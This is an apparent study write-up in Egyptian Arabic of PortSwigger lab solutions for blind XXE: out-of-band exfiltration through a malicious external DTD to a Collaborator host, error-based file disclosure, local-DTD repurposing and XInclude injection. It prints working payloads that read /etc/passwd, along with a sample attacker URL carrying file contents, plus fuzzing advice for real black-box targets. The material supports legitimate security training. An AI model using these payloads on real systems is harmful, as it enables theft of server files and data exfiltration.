-
هيقرأ ملف الـ
passwdمن على جهازه هو. -
هيحط محتوى الملف جوه الرابط بتاعك.
-
هيقوم باعتلك طلب (HTTP Request) شكله كده:
[http://web-attacker.com/?x=root:x:0:0:root](http://web-attacker.com/?x=root:x:0:0:root)...
إنت بقى تفتح الـ Logs بتاعة سيرفرك، تلاقي محتوى الملف كله مبعوتلك في الرابط! 🎯
⚠️ ملاحظة هامة جداً للمحترفين (The Catch):
المقال ذكر نقطة في غاية الأهمية في الآخر: لو الملف اللي بتسرقه (زي etc/passwd/) مليان سطور كتير تحت بعض (Newlines)، أحياناً الطلب بيفشل ومبيوصلكش. ليه؟ لأن الـ XML Parser ساعات بيرفض يحط سطور جديدة (Enter) جوه رابط HTTP (الرابط بيبوظ).
الحل لو واجهت المشكلة دي في الواقع:
-
استهدف ملف سطر واحد: جرب تسرق ملف مفيهوش سطور كتير زي
etc/hostname/(بيجيبلك اسم السيرفر) عشان تتأكد إن الثغرة شغالة. -
غيّر البروتوكول: بدل ما تخلي السيرفر يبعتلك البيانات عبر
http://، خليه يبعتهالك عبرftp://، لأن الـ FTP بيتعامل مع السطور المتعددة أحسن بكتير في بعض الـ Parsers.
حل لاب Exploiting blind XXE to exfiltrate data using a malicious external DTD :
الهدف: إجبار السيرفر المصاب إنه يقرأ ملف داخلي (/etc/hostname) ويبعته لسيرفر خارجي بنتحكم فيه (Burp Collaborator)، عن طريق استدعاء ملف DTD خبيث من سيرفر تاني بنتحكم فيه برضه (Exploit Server).
هنا إحنا بنتعامل مع 3 أطراف: السيرفر المصاب، سيرفر الاستضافة بتاعنا (Exploit Server)، وسيرفر الاستقبال (Collaborator).
المرحلة الأولى: تجهيز سيرفر الاستقبال (Collaborator)
-
افتح Burp Suite وروح لتبويب Collaborator.
-
اضغط على "Copy to clipboard". الخطوة دي بتولد لك رابط فريد (Subdomain) خاص بيك، وده اللي السيرفر المصاب هيبعت عليه البيانات المسروقة.
المرحلة الثانية: تجهيز الفخ (Exploit Server)
في الخطوة دي، إحنا بنصنع الـ DTD الخبيث اللي السيرفر المصاب هيقرأه وينفذ اللي جواه.
-
روح للـ Exploit Server اللي اللاب موفرهولك.
-
في خانة الـ Body، حط الكود ده:
XML
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>">
%eval;
%exfil;
_ متنساش تبدل BURP-COLLABORATOR-SUBDOMAIN بالرابط اللي نسخته من شوية)._ 3. اضغط Store عشان تحفظ الملف على السيرفر، وبعدين اضغط View exploit وانسخ الرابط بتاع الصفحة دي (ده الرابط اللي هنبعته للسيرفر المصاب عشان يدخل يقرأ منه الأوامر).
** إيه اللي بيحصل في الكود ده؟**
-
% file: بيقرأ محتوى ملفhostname. -
% eval: بيصنع متغير جديد بيحط جواه رابط الكولابوريتور بتاعك، وبيلزق في آخره محتوى الملف. -
%eval;و%exfil;: بينفذوا المتغيرات دي عشان الطلب يتبعت فعلياً.
المرحلة الثالثة: إطلاق الهجوم (The Vulnerable App)
دلوقتي الفخ جاهز ومرفوع على الإنترنت، ناقص بس نوجه السيرفر المصاب ليه.
-
روح لموقع اللاب (المتجر)، واضغط على زرار "Check stock" لأي منتج.
-
اصطاد الطلب (Intercept) في Burp Suite، وابدله للـ Repeater.
-
حط الكود ده تحت الـ
<?xml...>وفوق الـ<stockCheck>:
XML
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
_ بدل YOUR-DTD-URL برابط الـ Exploit Server اللي نسخته في المرحلة التانية)._ 4. اضغط Send.
** إيه اللي بيحصل هنا؟** السيرفر المصاب هيشوف الـ Parameter Entity (% xxe)، هيروح يزور رابط الـ Exploit Server، هيقرا الـ 4 سطور اللي كتبناهم هناك، وهينفذهم ورا بعض (يقرأ الملف، يحطه في الرابط، ويبعته للكولابوريتور).
المرحلة الرابعة: حصد الغنائم
السيرفر المصاب مش هيرد عليك في المتصفح بأي حاجة (عشان كده اسمه Blind). البيانات راحت على الكولابوريتور.
-
ارجع لتبويب Collaborator في Burp Suite.
-
اضغط Poll now (عشان تسحب أي تحديثات أو اتصالات جديدة وصلتك).
-
هتلاقي اتصالات من نوع HTTP. اضغط على واحد فيهم وبص على تفاصيل الـ Request.
-
هتلاقي السيرفر المصاب باعت طلب شكله كده:
GET /?x=YOUR_HOSTNAME_HERE HTTP/1.1. -
الكلمة اللي مكتوبة بعد
?x=هي دي محتوى ملف/etc/hostname! خدها، حطها في زرار حل اللاب (Submit solution).
Exploiting blind XXE to retrieve data via error messages :
المرة دي إحنا بندخل على تكنيك مختلف تماماً وذكي جداً اسمه Error-Based Blind XXE.
عشان تكون فاهم الصورة كاملة في شغلك كـ Pentester، أحياناً بتيجي تطبق طريقة الـ Out-of-Band (OAST) اللي لسه شارحينها وتلاقي إن مفيش أي اتصالات بتوصل للـ Collaborator بتاعك. ده غالباً معناه إن السيرفر وراه Firewall عنيف مانع أي اتصالات خارجية (Egress Filtering).
هنا بيجي دور الخطة البديلة: إزاي نجبر السيرفر يقرأ الملف، ويفضحهولنا على الشاشة جوه رسالة خطأ (Error Message)؟
تعالى نفصص الكود الخبيث ده سطر سطر عشان تفهم "الخدعة" بتتم إزاي:
😈 الفخ (ملف الـ DTD الخبيث)
XML
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
إيه اللي بيحصل هنا بالظبط؟
-
% file: ده السطر العادي بتاعنا. بنأمر السيرفر يروح يقرأ ملف الباسوردات/etc/passwdويخزن محتواه جوه المتغير اللي اسمهfile. -
% eval: هنا بتبدأ الخباثة! بنعمل متغير جديد بيصنع متغير تالت اسمهerror. المتغير التالت ده بيطلب من السيرفر إنه يروح يقرأ ملف من مسار غريب جداً:file:///nonexistent/وبنلزق في آخره محتوى ملف الباسوردات (%file;). -
%eval;: بنشغل سطر المطبخ عشان يتم تعريف المتغيرerrorبشكل رسمي. -
%error;: بننفذ المتغير الأخير، وهنا بتيجي الضربة القاضية!
💥 لحظة الانفجار (The Crash)
لما السيرفر ييجي ينفذ السطر الأخير، هيلاقي نفسه مطالب إنه يفتح مسار أو ملف على الهارد ديسك شكله عامل كده: file:///nonexistent/root:x:0:0:root:/root:/bin/bash...
بالمنطق، مفيش فولدر على السيرفر اسمه nonexistent، ومفيش ملف اسمه طويل كده وعبارة عن محتوى الباسوردات! الـ XML Parser بتاع السيرفر "هيتجنن" وهيفشل إنه يلاقي الملف ده، فهيقوم مطلع رسالة خطأ (Exception) صريحة جداً يشتكي فيها ويقول:
"أنا دورت على الملف اللي اسمه (كذا كذا كذا) ومالقيتوش!"
وبما إن التطبيق أو الموقع اللي إنت بتختبره مصاب بإنه بيعرض أخطاء الـ XML للمستخدم في الـ Response، هتلاقي الرد اللي راجعلك في Burp Suite مليان بالبيانات دي:
Plaintext
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
🎯 الخلاصة:
إنت هنا مش بتستنى السيرفر يبعتلك البيانات على سيرفر خارجي. إنت بتعمل "خطأ مُتعمد" بتدمج فيه البيانات السرية جوه اسم مسار وهمي، ولما السيرفر يشتكي إنه مش لاقي المسار ده، بيفضحلك البيانات السرية جوه نص الشكوى بتاعته (الـ Error Message).
التكنيك ده ممتاز جداً، بس شرطه الوحيد إن الـ Web Application يكون بيطبع رسائل الخطأ التفصيلية (Verbose Errors) في وش المستخدم ومبيعملهاش إخفاء!
حل لاب Exploiting blind XXE to retrieve data via error messages :
الهدف من اللاب: إجبار الـ XML Parser على قراءة ملف /etc/passwd ومحاولة فتحه كمكتبة أو مسار غير موجود (/invalid/...)، مما يسبب Crash للسيرفر فيطبع محتوى الملف جوه رسالة الخطأ في الـ Response.
🪤 الخطوة 1: تجهيز الفخ على الـ Exploit Server
-
اضغط على زرار "Go to exploit server" في اللاب.
-
في خانة الـ Body، هتحط ملف الـ DTD الخبيث ده زي ما هو:
XML
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
-
اضغط على Store عشان تحفظ الملف.
-
اضغط على View exploit وانسخ الرابط بتاع الصفحة (هيبقى شكله مثلاً:
https://exploit-xxxxx.exploit-server.net/exploit).
💡 التريكة هنا: السطر التاني بيطلب فتح ملف اسمه
/invalid/ومضاف ليه محتوى ملف الباسوردات. السيرفر هيحاول يفتح المسار ده وهيفشل لأن المسار ده وهمي!
🚀 الخطوة 2: توجيه ضربة الهجوم (The Attack)
-
افتح صفحة أي منتج، واضغط "Check stock".
-
اصطاد الطلب (Intercept) في Burp Suite وابعت الطلب للـ Repeater.
-
تعال تحت ديباجة الـ XML فوق وفوق التاج بتاع
<stockCheck>وحط استدعاء الملف الخبيث بتاعك:
XML
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
(⚠️ استبدل YOUR-DTD-URL بالرابط اللي نسخته من الـ Exploit Server في الخطوة اللي فاتت).
💥 الخطوة 3: حصد الغنائم مباشرة في الـ Response
-
اضغط Send في Burp Repeater.
-
بص على شاشة الـ Response على اليمين، هتلاقي السيرفر مرجعلك Status Code عبارة عن 500 Internal Server Error ومكتوب جواه رسالة الخطأ دي:
Plaintext
"XML parser exited with error: java.io.FileNotFoundException: /invalid/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin..."
مبروك! إنت كده خليت السيرفر ينطق بالبيانات السرية غصب عنه جوه رسالة الخطأ، واللاب هيعلم معاك "Solved" فوراً! 🎯
🧠 فكرة جوهرية لـ Notes المقارنة عندك:
في الـ OAST (اللي فات): السيرفر كان أعمى + مبيطلعش أخطاء = سرقنا البيانات وبعتنا لـ Collaborator.
في الـ Error-Based (ده): السيرفر أعمى في البيانات بس بيطلع أخطاء = سرقنا البيانات جوه الـ Error Message ومحتجناش Collaborator.
Exploiting blind XXE by repurposing a local DTD :
إنت كده دخلت في مستوى الـ Ninjas الحقيقي في الـ XXE! التكنيك ده (اللي خده باحث اسمه Arseniy Sharoglazov واحتل بيه المركز السابع في أقوى تقنيات الاختراق سنة 2018) بيحل أسوأ كابوس ممكن يقابل أي Pentester.
تعالى أحكيلك القصة من الأول ونفصص المشكلة والحل العبقري بتاعها:
🛑 الكابوس (الـ Firewall قفل كل حاجة)
تخيل إنك بتختبر سيرفر، والسيرفر ده:
-
مانع الـ OAST: يعني مش عارف يكلم الـ Burp Collaborator بتاعك.
-
مانع استدعاء External DTD: يعني مش قادر يروح يقرأ ملف الـ
malicious.dtdاللي إنت رافعه على الـ Exploit Server.
هتقولي: "طب ما نكتب الكود الخبيث كله جوه الطلب نفسه (Internal DTD) ونخلص من غير ما نستدعي ملفات خارجية!" هقولك: قواعد لغة الـ XML (الـ Specification) بتمنع ده! ممنوع تستخدم Parameter Entity جوه Parameter Entity تاني في الـ Internal DTD. لو عملتها، الـ Parser هيطلع Error يقولك "Syntax Error" ومش هينفذ الهجوم.
💡 الثغرة القانونية (The XML Loophole)
الهاكرز اكتشفوا ثغرة في قواعد لغة الـ XML نفسها! القاعدة بتقول: لو استخدمت DTD "مُهجن" (يعني كتبت كود جوه الطلب، وفي نفس الوقت استدعيت ملف DTD خارجي)، وقتها الـ Parser بيتلخبط وبيسمحلك تتجاهل قاعدة المنع، وتقدر تعرّف كيانات جوه بعضها براحتك!
بس إحنا لسه عندنا مشكلة: السيرفر مش عارف يوصل للإنترنت عشان يجيب ملف DTD خارجي! الحل العبقري: هنخلي السيرفر يستدعي ملف DTD خارجي بس موجود أصلاً على الهارد ديسك بتاعه هو (Local DTD)!
🪤 إزاي بننفذ الخدعة دي؟ (Repurposing)
الفكرة كلها إنك بتدور على أي ملف DTD شرعي موجود على سيرفر الضحية (مثلاً ملف خاص بإعدادات واجهة GNOME في اللينكس مساره /usr/share/yelp/dtd/docbookx.dtd). الملف الشرعي ده بيكون جواه متغيرات (Entities) متعرّفة جاهزة. إحنا بندخل "نعمل Override" أو نُعيد تعريف واحد من المتغيرات دي بالكود الخبيث بتاعنا!
بص على الـ Payload ده وركز في ترتيب الأحداث:
XML
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
شرح الكود (المسرحية بتتم كالتالي):
-
السطر الأول (
local_dtd): بنقول للسيرفر "لو سمحت جهز نفسك عشان هنقرأ ملف الـdocbookx.dtdاللي موجود عندك على الهارد". -
السطر التاني (
custom_entity): المتغير ده أصلاً موجود جوه ملف الـdocbookx.dtd. إحنا هنا بنسبق وبنقول للسيرفر: "أنا هعرّف المتغير ده على مزاجي، وهحط جواه كود الـ Error-Based اللي بيسرق ملف الباسوردات".- (ملاحظة: الرموز الغريبة زي
%و&دي مجرد تشفير لعلامة الـ%والـ&عشان الـ Parser ما ينفذهمش بدري ويبوظ الكود).
- (ملاحظة: الرموز الغريبة زي
-
السطر الأخير (
%local_dtd;): ده سطر التنفيذ. السيرفر هيروح يقرأ الملف اللي على جهازه، ولما ييجي يقرأ المتغير اللي اسمهcustom_entity، هيلاقينا إحنا مغيّرين قيمته بالكود الخبيث، فهينفذه، ويضرب Error، ويطبعلنا ملف الباسوردات على الشاشة!
🔍 إزاي نلاقي ملف الـ DTD المحلي أصلاً؟ (Reconnaissance)
بما إنك مش شايف سيرفر الضحية، إنت بتخمن وتجرب (Fuzzing). بتبعت مسارات مشهورة لملفات DTD زي المثال ده:
XML
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
لو السيرفر رد عليك بـ Error بيقول No such file or directory، يبقى الملف مش موجود. لو ماردش بـ Error يخص الملف (أو رد بـ Error في حتة تانية)، يبقى الملف ده موجود! بتروح إنت تدور على الملف ده في جوجل (أو GitHub) عشان تشوف الكود بتاعه وتعرف أسماء الـ Entities اللي جواه عشان تستخدم واحد فيهم وتعمله Override.
حل لاب Exploiting XXE to retrieve data by repurposing a local DTD :
الهدف: سرقة محتوى ملف /etc/passwd عن طريق استدعاء ملف DTD محلي (docbookx.dtd) وإعادة تعريف المتغير ISOamso جواه بكود خبيث يسبب رسالة خطأ (Error-based) تفضح البيانات.
🎯 الخطوة 1: اصطياد الطلب (Intercept)
-
افتح صفحة أي منتج في اللاب، واضغط على زرار "Check stock".
-
في برنامج Burp Suite، امسك الطلب (POST request) وابعته للـ Repeater.
💣 الخطوة 2: زرع الـ Payload المُهجن
هنيجي في الطلب جوه الـ Repeater، وتحت سطر الـ <?xml ... ?> وفوق التاج بتاع <stockCheck>، هنحط الـ Payload ده بالظبط:
XML
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
🔍 تحليل سريع للـ Payload قبل ما نبعته:
-
استدعينا ملف الـ
docbookx.dtdالمحلي. -
استهدفنا المتغير
ISOamso(اللي موجود أصلاً جوه الملف ده) وعملناله إعادة تعريف (Redefine). -
حطينا جواه كود הـ Error-based اللي بيقرأ ملف الباسوردات وبيحاول يفتح مسار وهمي اسمه
/nonexistent/. -
في الآخر، طلبنا تنفيذ
%local_dtd;عشان السيرفر يقرأ الملف بالمتغيرات اللي عدلناها.
💥 الخطوة 3: التنفيذ وحصد البيانات
-
اضغط على زرار Send في الـ Repeater.
-
بص على شاشة الـ Response على اليمين. هتلاقي السيرفر ضرب 500 Internal Server Error.
-
جوه رسالة الخطأ دي، هتلاقي السيرفر بيشتكي إنه مش عارف يلاقي المسار الوهمي، وقام طابعلك محتوى ملف الباسوردات بالكامل في وشك بالشكل ده:
Plaintext
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin...
مبروك! اللاب هيعلم معاك "Solved" فوراً. إنت كده قدرت تتخطى منع الاتصالات الخارجية (OAST) ومنع قراءة الـ External DTDs، وسرقت البيانات من قلب السيرفر وهو متقفل!
طيب في كام سؤال جه في دماغي كده أولهم ازاي اعرف احنا شغالين علي نظام ايه و ايه البيئة الشغال بيها و بعدها ليه أستخدمنا ISOamso Entity ؟
==اجابة السؤال الاول :==
في بيئة اللابات (زي PortSwigger)، إحنا بنبقى عارفين مسبقاً إن السيرفر شغال بـ Linux وعليه GNOME عشان اللاب مصمم يختبر فهمك للثغرة نفسها. لكن على أرض الواقع في الـ Black-Box Penetration Testing، إنت بتتعامل مع "صندوق أسود"، ولازم تعمل مرحلة Enuemration & Fingerprinting (جمع المعلومات وبصمة النظام) عشان تكتشف البيئة دي بنفسك.
في الحقيقة، إنت بتستخدم الثغرة نفسها (الـ XXE) كجهاز "سونار" أو Oracle عشان تكتشف الملفات والبيئة، بجانب شوية تقنيات تانية في الـ Recon. إليك الطريقة اللي بنشتغل بيها على أرض الواقع:
1️⃣ الاستكشاف الأولي (Recon & Information Disclosure)
قبل ما تضرب الثغرة، إنت بتجمع أدلة من التطبيق نفسه:
-
HTTP Headers: بص على الـ Response في Burp Suite، ساعات السيرفر بيفضح نفسه في الـ Headers زي:
Server: Apache/2.4.41 (Ubuntu)(كده عرفنا إنه لينكس).Server: Microsoft-IIS/10.0(كده متأكدين إنه ويندوز). -
Verbose Errors: لو حاولت تدخل مسار غلط في الموقع وطلعلك Error بيقولك
C:\inetpub\wwwroot، يبقى ويندوز. لو قالك/var/www/html، يبقى لينكس.
2️⃣ استخدام الـ Fuzzing لاكتشاف ملفات الـ DTD
بما إننا عرفنا إن رسالة الخطأ بتتغير بناءً على وجود الملف من عدمه، إحنا مش بنخمن يدوي. إحنا بنحول الطلب لـ Burp Intruder ونعمل Fuzzing!
الخطوات العملية في Burp Intruder:
-
بتبعت الـ Payload بتاع الـ Repurposing للـ Intruder.
-
بتعمل Highlight (تحديد) على مسار الملف:
<!ENTITY % local_dtd SYSTEM "file:///§/usr/share/yelp/dtd/docbookx.dtd§"> -
بتجيب Wordlist (قائمة جاهزة) بتحتوي على مئات المسارات المشهورة لملفات الـ DTD في مختلف الأنظمة (Linux, Windows, Tomcat, Java, GNOME، الخ).
-
بتشغل الـ Intruder وتراقب حجم الـ Response (Length) أو الـ Status Code.
3️⃣ كيف تقرأ نتائج الـ Intruder؟ (The Oracle)
الـ XML Parser هنا شغال معاك كـ "مُخبر":
-
لو الملف مش موجود: السيرفر هيرد برسالة خطأ واضحة زي
FileNotFoundExceptionأوNo such file or directory. -
لو الملف موجود: السيرفر هيحاول يقرأ الملف، وساعتها رسالة الخطأ هتتغير تماماً. إما هيطلعلك خطأ في الساينتكس بتاع الـ XML نفسه (لأنه بيحاول يدمج الملف بتاعك مع الملف المحلي)، أو ممكن السيرفر يرد بـ
200 OKبس بـ Error مختلف.
بمجرد ما تلاقي استجابة مختلفة (Anomaly) في الـ Intruder، بتعرف إن المسار ده موجود فعلاً على السيرفر. بتاخد المسار ده، تبحث عنه في جوجل أو GitHub، وتشوف الكود بتاعه وتطلع منه اسم Entity عشان تعملها Override وتنفذ الهجوم بتاعك.
==اجابة السؤال الثاني :==
إحنا مش مجبرين على ISOamso تحديداً! تقدر تستخدم أي Entity تاني موجود جوه ملف docbookx.dtd. اسم ISOamso هو مجرد "مثال شهير" الباحثين استخدموه في الورقة البحثية بتاعتهم، وموقع PortSwigger اعتمده في الحل الرسمي.
تعالى أشرحلك السر ورا اختيار الاسم ده، وليه لازم نختار اسم موجود فعلاً جوه الملف:
🧠 قاعدة "الأسبقية" في الـ XML (First Come, First Served)
لغة الـ XML عندها قاعدة صارمة: لو تم تعريف متغير (Entity) مرتين، الـ Parser بياخد أول تعريف شافه ويتجاهل التاني.
إحنا بنستغل القاعدة دي عشان ننفذ الهجوم كالتالي:
-
إحنا بنكتب جوه الطلب بتاعنا (Internal DTD) تعريف خبيث لمتغير اسمه
ISOamso. -
بعدين بنأمر السيرفر يروح يقرأ ملف
docbookx.dtdالموجود على الهارد بتاعه (External DTD). -
لما السيرفر يفتح ملف
docbookx.dtdويبدأ يقرأه، هيلاقي إن الملف ده من جواه بيحاول يعرّف متغير اسمهISOamso(لأنه متغير شرعي وأساسي جوه الملف ده). -
هنا الـ Parser هيقول: "لحظة واحدة! أنا المستخدم لسه مديني تعريف للمتغير ده من شوية، أنا هتجاهل التعريف الشرعي اللي جوه الملف، وهنفذ التعريف بتاع المستخدم (اللي هو الكود الخبيث بتاعنا)!".
🔍 إزاي الباحثين عرفوا إن فيه متغير اسمه ISOamso؟
ملف docbookx.dtd ده ملف Open Source (مفتوح المصدر) وموجود في كل توزيعات لينكس اللي بتستخدم واجهة GNOME.
الباحث (Arseniy Sharoglazov) اللي اكتشف الثغرة دي عمل الآتي:
-
نزل ملف
docbookx.dtdمن على النت وفتحه عنده على الجهاز. -
فحص الكود المكتوب جواه، ولقى إنه بيستدعي ملفات تانية فرعية، والملفات دي مليانة متغيرات (Parameter Entities) بتُستخدم عشان ترسم رموز معينة (زي حقوق النشر، أو الرموز الرياضية).
-
لقى قائمة طويلة من المتغيرات زي:
ISOamso,ISOamsa,ISOtech,ISOnumوغيرها. -
اختار
ISOamsoبشكل عشوائي عشان يعمل عليه الـ Override، واكتشف إن الـ Parser بمجرد ما بيقرأ الملف الخارجي بيقوم منفذ الكود الخبيث فوراً ويفضح البيانات.
🎯 الخلاصة:
الشرط الوحيد لنجاح الهجوم ده (Repurposing) هو إنك تستهدف متغير (Entity) يكون فعلاً مكتوب ومُستدعى جوه ملف الـ DTD المحلي اللي إنت بتخليه يقرأه. لو كتبت اسم متغير من دماغك (مثلاً %marwan_entity)، السيرفر مش هينفذه، لأن ملف الـ docbookx.dtd ميعرفش حاجة عن الاسم ده ومش هيحاول يشغله وهو بيقرأ الكود بتاعه.
==----و بكده نكون خلصنا جزء ال BLIND XXE----==
Finding hidden attack surface for XXE injection :
ندخل بقى على مستوى جديد من التخفي! التكنيك ده بيحل مشكلة بتواجهنا كتير: "إزاي أعمل XXE Injection والطلب (Request) أصلاً مفيهوش XML؟"
تعالى نفصص المقال ده لأنه بيشرح واحدة من أذكى طرق اكتشاف "مساحات الهجوم المخفية" (Hidden Attack Surface):
المشكلة: اختفاء الـ XML من الطلب
في الحالات العادية اللي اتكلمنا عنها قبل كده، إنت بتشوف الطلب مبعوت بصيغة XML واضحة، فبتقدر تعدل براحتك وتضيف الـ DOCTYPE في أوله.
لكن أحياناً، التطبيق بياخد منك بيانات عادية جداً (مثلاً بتدخل اسمك في فورم name=Ahmed). السيرفر بقى بياخد كلمة Ahmed دي، ويبني هو بيها ملف XML كامل في الـ Back-end (عشان يبعته لخدمة تانية داخلية زي SOAP Service)، وبعدين يعمل قراءة (Parse) للملف ده.
ليه الـ XXE العادي بيفشل هنا؟
بما إنك مش بتتحكم في ملف الـ XML كله (إنت بس بتتحكم في حتة صغيرة جواه وهي البيانات اللي دخلتها)، فمش هتقدر تحط تاج الـ <!DOCTYPE> لأنه لازم يتكتب في أول سطر في ملف الـ XML. لو حاولت تحطه في النص مكان بياناتك، الـ Parser هيطلع Error ويرفض الملف تماماً.
الحل البديل: هجوم الـ XInclude
هنا بييجي دور ميزة شرعية في لغة الـ XML اسمها XInclude. الميزة دي معمولة عشان تسمح للمطورين إنهم يبنوا ملف XML كبير عن طريق دمج أو استدعاء ملفات تانية جواه (زي فكرة الـ include في البرمجة).
الميزة الرهيبة في الـ XInclude إنك تقدر تستخدمها في أي مكان جوه الملف (مش شرط في الأول زي الـ DOCTYPE). يعني تقدر تحطها مكان بياناتك العادية، ولما السيرفر يجي يبني الملف، هيلاقي أمر الدمج ده وينفذه.
🚀 تحليل الـ Payload
عشان ننفذ الهجوم ده، بنبعت الكود ده مكان البيانات العادية بتاعتنا في الطلب:
XML
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
إيه اللي بيحصل في السطرين دول؟
-
<foo xmlns:xi="http://www.w3.org/2001/XInclude">: إحنا هنا بنفتح تاج وهمي (سميناهfoo)، وبنستدعي جواه مكتبة الأوامر (Namespace) الخاصة بالـ XInclude من الرابط الرسمي بتاعها. الخطوة دي بتفهم السيرفر إننا هنستخدم أوامر دمج. -
<xi:include ... />: ده أمر الدمج نفسه اللي بيبدأ ينفذ المطلوب. -
parse="text": هنا بنأمر السيرفر: "لو سمحت، الملف اللي هطلبه منك اتعامل معاه كنص عادي (Text) مش ككود XML، عشان متلخبطش الـ Parser". -
href="file:///etc/passwd": ده المسار بتاع الملف السري اللي إحنا عاوزين نقرأه. السيرفر هيروح يقرأ الملف ده، ويحط محتواه بالكامل مكان الـ Payload بتاعنا!
الخلاصة
لما تلاقي تطبيق بياخد منك بيانات عادية (URL-encoded أو فورم عادي) وتشك إنه بيحولها لـ XML في الكواليس، جرب تستخدم كود الـ XInclude. لو السيرفر مصاب والثغرة موجودة، هينفذ أمر الدمج ويرجعلك محتوى الملف السري اللي طلبته جوه الـ Response اللي بيظهرلك في الشاشة.
حل لاب Exploiting XInclude to retrieve files :
الهدف من اللاب: سرقة ملف /etc/passwd من سيرفر يظهر أنه يستقبل بيانات عادية (Form Data)، ولكن عبر مرحلة الـ Recon وفحص الأكواد، نكتشف أنه يحقنها جوه قالب XML مستخبي في الـ Back-end.
🔍 المرحلة الأولى: الاستكشاف المتقدم (Reconnaissance & Source Code Review)
على أرض الواقع، الطلب يظهر في Burp Suite كطلب عادي جداً بـ Content-Type: application/x-www-form-urlencoded. لمعرفة ما يحدث في الكواليس، قمنا بتحليل ملفات الـ JavaScript المرفقة بالموقع:
-
أثناء تصفح صفحة المنتج، قمنا بفتح الـ Developer Tools (F12) ثم تبويب Sources/Network.
-
عثرنا على ملف السكريبت المسؤول عن ميزة فحص المخزون في هذا المسار:
https://0a3d0023033917e681ec253a006d00fb.web-security-academy.net/resources/js/stockCheck.js -
بتحليل كود الـ JavaScript وجدنا الآتي:
JavaScript
document.getElementById("stockCheckForm").addEventListener("submit", function(e) {
checkStock(this.getAttribute("method"), this.getAttribute("action"), new FormData(this));
e.preventDefault();
});
function checkStock(method, path, data) {
const retry = (tries) => tries == 0
? null
: fetch(
path,
{
method,
headers: { 'Content-Type': window.contentType },
body: payload(data)
}
)
// ... [باقي الكود]
💡 ماذا استفدنا من الـ Recon؟ الكود يثبت أن التطبيق يأخذ بارامترات عادية (productId=1&storeId=1) ولكن المتغير window.contentType والدالة payload(data) تشير إلى إرسالها بطريقة معينة ليتم صياغتها داخل قالب XML في الـ Back-end. ولأننا نتحكم في قيمة الـ productId فقط (أي في منتصف مستند الـ XML وليس أوله)، فإن الـ XXE التقليدي سيفشل لأننا لا نستطيع كتابة <!DOCTYPE>.
الحل: استخدام تكتيك الـ XInclude الذي يمكن كتابته في أي مكان داخل ملف الـ XML.
🚀 المرحلة الثانية: خطوات الحل العملية
الخطوة 1: اصطياد الطلب (Intercept)
-
من صفحة المنتج، اضغط على زرار "Check stock".
-
اصطاد الطلب في Burp Suite وانقله إلى شاشة الـ Repeater.
الخطوة 2: زرع الـ Payload الخبيث
تعال عند منطقة الـ Body في الأسفل، واحذف رقم المنتج وحط مكانه كود الـ XInclude التالي:
XML
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
شكل الطلب النهائي في الـ Repeater:
HTTP
POST /product/stock HTTP/2
Host: target-vulnerable-app.net
Content-Type: application/x-www-form-urlencoded
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
💡 تريكة احترافية لموقعك: حدد الكود الذي كتبته داخل بارامتر
productIdواضغطCtrl + Uفي Burp Suite لعمل URL Encode. هذا يحول الرموز مثل<و>إلى%3Cو%3Eمما يضمن عبور الـ Payload بسلام من خادم الويب (Web Server) وصولاً للـ XML Parser الداخلي دون أن يتشوه الكود.
الخطوة 3: قراءة الملف وحل اللاب
-
اضغط Send في الـ Repeater.
-
بص على شاشة الـ Response على اليمين، ستجد السيرفر قام بدمج الملف بنجاح وطبع لك محتوى ملف الـ
/etc/passwdبالكامل:
Plaintext
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
مبروك! تم حل اللاب وتوثيق الثغرة بأسلوب احترافي متكامل.
🧠 كبسولة للمقارنة في الـ Notes بتاعتك:
بما إن الـ Content-Type هو x-www-form-urlencoded، الأفضل دايماً وأنت في الـ Repeater إنك تعمل تحديد (Highlight) للـ Payload بتاعك (من أول <foo> لحد </foo>) وتضغط Ctrl + U عشان تعمله URL Encoding.
ليه؟ عشان الرموز زي < و > والمسافات وعلامات التنصيص " ممكن تلخبط بعض السيرفرات (Web Servers) وترفض الطلب قبل ما يوصل أصلاً لمرحلة الـ XML Parser. الـ URL Encoding بيضمن إن الكود يوصل سليم 100% للـ Back-end.
